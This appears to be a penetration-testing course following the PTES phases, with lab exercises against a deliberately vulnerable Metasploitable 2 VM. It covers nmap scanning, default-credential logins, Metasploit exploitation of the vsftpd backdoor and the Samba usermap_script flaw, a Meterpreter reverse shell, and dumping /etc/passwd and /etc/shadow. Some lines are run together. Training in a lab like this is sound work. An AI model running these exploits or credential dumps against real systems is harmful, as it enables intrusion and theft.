This curriculum is structured around the seven phases of the Penetration Testing Execution Standard (PTES), a framework designed to provide a baseline for conducting high-quality penetration tests. We will cover the essential tools, techniques, and procedures (TTPs) used by security professionals to identify and exploit vulnerabilities. This course is designed to be hands-on, with practical exercises that you can perform on your Debian XFCE system.
Prerequisites: A Debian XFCE system, familiarity with the Linux command line, basic networking knowledge, and virtualization software (e.g., VirtualBox).
Before beginning any engagement, a proper lab and a firm grasp of the methodology are essential. This module covers the setup of your virtual environment and an introduction to the PTES framework that will guide our exercises. A controlled lab is non-negotiable for any offensive security practice; it ensures your activities are legal, safe, and contained, preventing any impact on networks you do not have explicit permission to test.
The Penetration Testing Execution Standard (PTES) provides a roadmap for conducting a thorough and professional assessment. Understanding these phases is key to moving beyond simply running tools and toward thinking like an attacker.
Pre-engagement Interactions: The business and logistical phase. This involves client meetings, defining the scope (what is and is not in scope for testing), setting rules of engagement (e.g., times of testing, what to do if a critical system goes down), and establishing legal contracts. While we won’t simulate this, it is the most critical phase in a professional setting.
Intelligence Gathering: The reconnaissance phase. The goal is to become an expert on the target. This involves collecting technical data (IP ranges, domains, technologies used) and human data (employee names, emails, roles) from public sources (OSINT) and through active network probing. A thorough recon phase dramatically increases the chances of a successful test.
Threat Modeling: Using the intelligence gathered, you model potential threats. This means identifying key assets, understanding the business context, and mapping likely attack paths an adversary would take to compromise those assets. It’s a strategic phase that guides the subsequent hands-on testing.
Vulnerability Analysis: The process of discovering specific, exploitable weaknesses in the target’s systems. This involves taking the inventory of services from the recon phase and actively probing them for known and unknown vulnerabilities using a combination of automated scanners and manual verification.
Exploitation: The “attack” phase. Here, you attempt to gain access to systems by leveraging the vulnerabilities discovered in the previous phase. The goal is to prove that a vulnerability is not just theoretical but has a real-world impact, typically by gaining a command shell or accessing sensitive data.
Post-Exploitation: This is what you do after you’ve successfully compromised a system. The objectives are to determine the value of the machine, escalate privileges (e.g., from a regular user to root/administrator), pivot to other systems on the internal network, and maintain access—all while remaining undetected.
Reporting: The final deliverable. A professional report communicates the findings to both technical staff and executive management. It details the vulnerabilities, the risk they pose to the business, and provides clear, actionable recommendations for remediation. A test without a good report is a failed test.
A safe, isolated lab is critical for practice. We will create a virtual network with an attacker and a target machine.
Attacker Machine: Your Debian XFCE installation is your primary attacker machine, often called the “attack box.”
ip addrmsfadmin/msfadmin): ifconfigping the IP address of the Metasploitable 2 VM.sudo apt update && sudo apt upgrade -y
sudo apt install nmap wireshark metasploit-framework python3-pip git net-tools enum4linux nikto -y
nmap: For network discovery and security auditing.wireshark: For deep packet inspection and protocol analysis.metasploit-framework: The premier framework for developing and executing exploits.git: For cloning tools and repositories from sources like GitHub.net-tools: Provides classic tools like ifconfig and netstat.enum4linux: An essential tool for enumerating information from Windows and Samba systems.nikto: A web server scanner that checks for thousands of potentially dangerous files/CGIs, outdated versions, and other common web-related issues.This module simulates the initial phase of an assessment. We will gather information on our target, Metasploitable 2, as if it were a black box on a network. A thorough and patient approach here pays dividends later.
We will now perform a systematic scan of our lab network to identify our target and build a complete service profile.
# Replace 192.168.56.0/24 with your actual lab network range
nmap -sn 192.168.56.0/24
-sn: This is a “ping scan” or “no port scan”. It performs host discovery but does not scan for open ports. On a local network, Nmap will use ARP requests, which is very reliable for finding live hosts. You should see the IP of your Debian machine and your Metasploitable 2 machine.# Replace [METASPLOITABLE_IP] with the target's IP
nmap -F -T4 [METASPLOITABLE_IP]
-F: Fast scan. Scans the 100 most common ports instead of the default 1000.-T4: Aggressive timing template. Assumes a fast, reliable network (which our lab is). This speeds up the scan considerably.sudo nmap -sS -sU -p- -A --reason -oA metasploitable_scan [METASPLOITABLE_IP]
sudo: Required for -sS (SYN scan) and -sU (UDP scan) as they craft raw packets.-sS: TCP SYN Scan (“half-open” scan). It’s stealthier and faster than a full connect scan.-sU: UDP Scan. This is important as many vulnerable services use UDP (e.g., SNMP, NFS). This part of the scan will be slow.-p-: A shortcut to scan all 65,535 TCP and UDP ports.-A: The aggressive option. This enables OS Detection (-O), Version Detection (-sV), Script Scanning (-sC), and Traceroute. It’s a powerful and convenient combination.--reason: Shows the reason Nmap concluded a port is in a certain state (e.g., syn-ack for open). This is very useful for understanding the results.-oA metasploitable_scan: Saves the output in all major formats (.nmap, .gnmap, .xml) with the basename “metasploitable_scan”. Saving your work is critical. We will refer to this file for the rest of the assessment.With our comprehensive Nmap scan results, we now transition to analyzing each discovered service for potential weaknesses. This is a methodical process of investigation, not just blind firing of exploits. We will use the
metasploitable_scan.nmapfile as our guide.
Go through your Nmap output port by port. For each service, perform a manual investigation.
nc -nv [METASPLOITABLE_IP] 21
nc: Netcat, the “swiss-army knife” for networking.-n: Don’t resolve DNS. -v: Verbose. searchsploit vsftpd 2.3.4
telnet [METASPLOITABLE_IP]
root:root, admin:admin, or msfadmin:msfadmin. The last one will work.http://[METASPLOITABLE_IP]. Click around the website. You will find a phpinfo.php page (reveals detailed configuration) and a TWiki installation, among other things. nikto -h http://[METASPLOITABLE_IP]
enum4linux -a [METASPLOITABLE_IP]
-a: Run all simple enumeration options. This will attempt to dump user lists, share lists, password policy, and more. The output is verbose and extremely valuable.psql client.
# Try connecting with the default user 'postgres' and a blank or common password.
psql -h [METASPLOITABLE_IP] -U postgres
This systematic process of taking an Nmap scan and investigating each service is the core of the vulnerability analysis phase. You have now identified multiple, highly probable attack vectors.
This module covers the process of actively exploiting the vulnerabilities we’ve validated. We will use the Metasploit Framework to gain access to our target.
We will start with the vsftpd backdoor, as it is a simple and reliable exploit.
sudo systemctl start postgresql
msfconsole -q
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS [METASPLOITABLE_IP]
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
whoami; id to confirm. Type exit to return to msfconsole.Now let’s exploit the Samba service we enumerated earlier. This will require us to configure a payload.
enum4linux results and some research, the usermap_script vulnerability is a good candidate for Samba 3.0.20.
msf6 > search usermap_script
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > show payloads
msf6 exploit(multi/samba/usermap_script) > set RHOSTS [METASPLOITABLE_IP]
msf6 exploit(multi/samba/usermap_script) > exploit
Gaining access is just the beginning. Now we must understand the compromised system, escalate privileges if necessary (we are already root, but we’ll practice the technique), and see if we can pivot to other systems. For this, we will use Metasploit’s most powerful payload: Meterpreter.
Let’s re-exploit the Samba vulnerability, but this time, we’ll use a Meterpreter payload to unlock advanced post-exploitation capabilities.
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS [METASPLOITABLE_IP]
msf6 exploit(multi/samba/usermap_script) > set payload linux/x86/meterpreter/reverse_tcp
reverse_tcp: The most common payload type. The compromised target will connect back to a listener on our machine. This is often successful even through firewalls.msf6 exploit(multi/samba/usermap_script) > show options
# Notice the new LHOST and LPORT options
msf6 exploit(multi/samba/usermap_script) > set LHOST [YOUR_DEBIAN_IP]
LHOST: The “Local Host”. This MUST be the IP of your Debian attack box. Use ip addr in another terminal to find it.msf6 exploit(multi/samba/usermap_script) > exploit
meterpreter > prompt. This is not a standard shell; it’s a powerful, extensible command interpreter running in the memory of the target process.
sysinfo: Get target system information.getuid: See the current user (root).ps: List running processes on the target.ls: List files in the current directory on the target.pwd: Show the current working directory on the target.download /etc/passwd .: Download the target’s password file to your current directory (/root/ on your Debian box).hashdump: Dumps the contents of the SAM file (password hashes). Since this is Linux, it will dump the contents of /etc/shadow.run post/linux/gather/enum_configs: Meterpreter has post-exploitation modules. This one gathers common configuration files from the target.background: Send the Meterpreter session to the background without closing it. You can list active sessions with sessions and re-enter one with sessions -i <ID>.The final, and arguably most important, phase of a penetration test is documenting your findings in a clear and actionable report. A report is the tangible result of your work and the primary tool for driving remediation.
A good report is a narrative that tells the story of the attack and its business impact. It should always include:
- Executive Summary: A 1-2 page, non-technical overview for management. It should state the overall risk posture, highlight the most critical findings, and summarize the potential business impact (e.g., “A critical vulnerability was discovered that could lead to a full compromise of customer data…”).
- Methodology: A brief description of the approach used (e.g., “This assessment followed the PTES methodology…”).
- Scope: A clear definition of what was and was not tested (IP ranges, applications, etc.).
- Findings: The core of the report. Each vulnerability should be its own section, detailed with the following components.
- Conclusion: A summary of the technical findings and a final assessment of the security posture.
Using Markdown, write a sample vulnerability finding for the Samba
usermap_scriptexploit.
[METASPLOITABLE_IP]usermap_script feature.The Metasploit Framework module
exploit/multi/samba/usermap_scriptwas used to demonstrate this vulnerability. The following commands were executed:msf6 > use exploit/multi/samba/usermap_script msf6 exploit(multi/samba/usermap_script) > set RHOSTS [METASPLOITABLE_IP] msf6 exploit(multi/samba/usermap_script) > exploit [*] Started reverse TCP handler on [YOUR_DEBIAN_IP]:4444 [*] Command shell session 1 opened ([YOUR_DEBIAN_IP]:4444 -> [METASPLOITABLE_IP]:44321) whoami root
root) control, allowing them to read, modify, or delete any data on the system, install persistent backdoors, and use the compromised server as a pivot point to attack other systems on the internal network.usermap_script option is disabled in the smb.conf configuration file.This course provides a foundation. The world of offensive security is vast and requires continuous learning.
- Practice, Practice, Practice: The key to mastery is hands-on experience. Use platforms like Hack The Box, TryHackMe, and VulnHub to tackle a wide variety of vulnerable machines legally.
- Specialize: Find an area that interests you. Common specializations include:
- Web Application Pentesting: Focus on the OWASP Top 10 and tools like Burp Suite.
- Active Directory Attacks: Learn the TTPs for compromising Windows enterprise environments.
- Wireless Hacking: Learn the intricacies of 802.11 security.
- Certifications: Certifications can validate your skills to potential employers. The OSCP (Offensive Security Certified Professional) is a highly respected, hands-on certification that is a common goal for aspiring penetration testers.
Why should a defender learn to attack? Understanding attacker TTPs is the most effective way to become a high-performing defender. A SOC analyst with this knowledge can:
- Improve Alert Triage: Recognize the difference between scanner noise and a real, targeted attack.
- Conduct Threat Hunting: Proactively search for signs of compromise using knowledge of how attackers operate post-exploitation.
- Understand Log Data: When you see logs from Nmap, Metasploit, or other tools, you’ll know exactly what the attacker is doing and can respond more effectively.
- Validate Security Controls: Understand how attackers bypass firewalls, antivirus, and other defenses, allowing you to recommend and implement more robust solutions.